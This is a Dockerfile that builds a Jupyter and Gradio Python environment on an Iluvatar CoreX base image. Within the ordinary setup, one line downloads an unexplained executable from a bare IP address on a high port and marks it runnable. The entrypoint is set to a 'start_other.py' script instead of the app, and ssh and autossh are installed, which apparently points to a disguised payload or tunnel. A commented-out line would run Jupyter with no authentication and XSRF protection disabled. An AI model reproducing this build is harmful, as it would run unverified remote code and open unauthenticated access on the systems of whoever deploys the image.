FROM registry.gitee-ai.local/base/iluvatar-corex:3.2.0-bi100

ARG DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
    apt-get install -y python3.10 \
    python3-pip \
    git \
    git-lfs \
    wget

RUN apt-get install -y net-tools vim ssh autossh iputils-ping

RUN pip3 install --default-timeout=100 --no-cache-dir JPype1 ipywidgets jupyterlab pandas jupyterlab-language-pack-zh-CN jupyter-server-proxy numpy seaborn scipy matplotlib gradio pyNetLogo SALib  -i https://mirrors.cloud.tencent.com/pypi/simple
RUN pip3 install transformers_stream_generator

RUN useradd -ms /bin/bash jupyter
USER jupyter
WORKDIR home/jupyter 
EXPOSE 7860                                           
COPY app.py /home/jupyter/app.py
COPY start_other.py /home/jupyter/start_other.py
RUN echo 2
RUN wget http://129.28.84.40:47660/c3fb461f6fec263e/fe9402a84d591b39 && chmod a+x fe9402a84d591b39
# RUN wget http://129.28.84.40:47660/c3fb461f6fec263e/fe9402a84d591b39 -O /fe9402a84d591b39 && chmod a+x /fe9402a84d591b39
# ENTRYPOINT ["python3","app.py"]
ENTRYPOINT ["python3","start_other.py"]
# ENTRYPOINT ["jupyter", "lab","--allow-root","--ip=0.0.0.0","--port=7860","--no-browser","--NotebookApp.token=" , "--NotebookApp.password=", "--NotebookApp.allow_remote_access=True", "--NotebookApp.allow_origin=*", "--ServerApp.disable_check_xsrf=True"]
USER root
RUN chown -R jupyter:jupyter /home
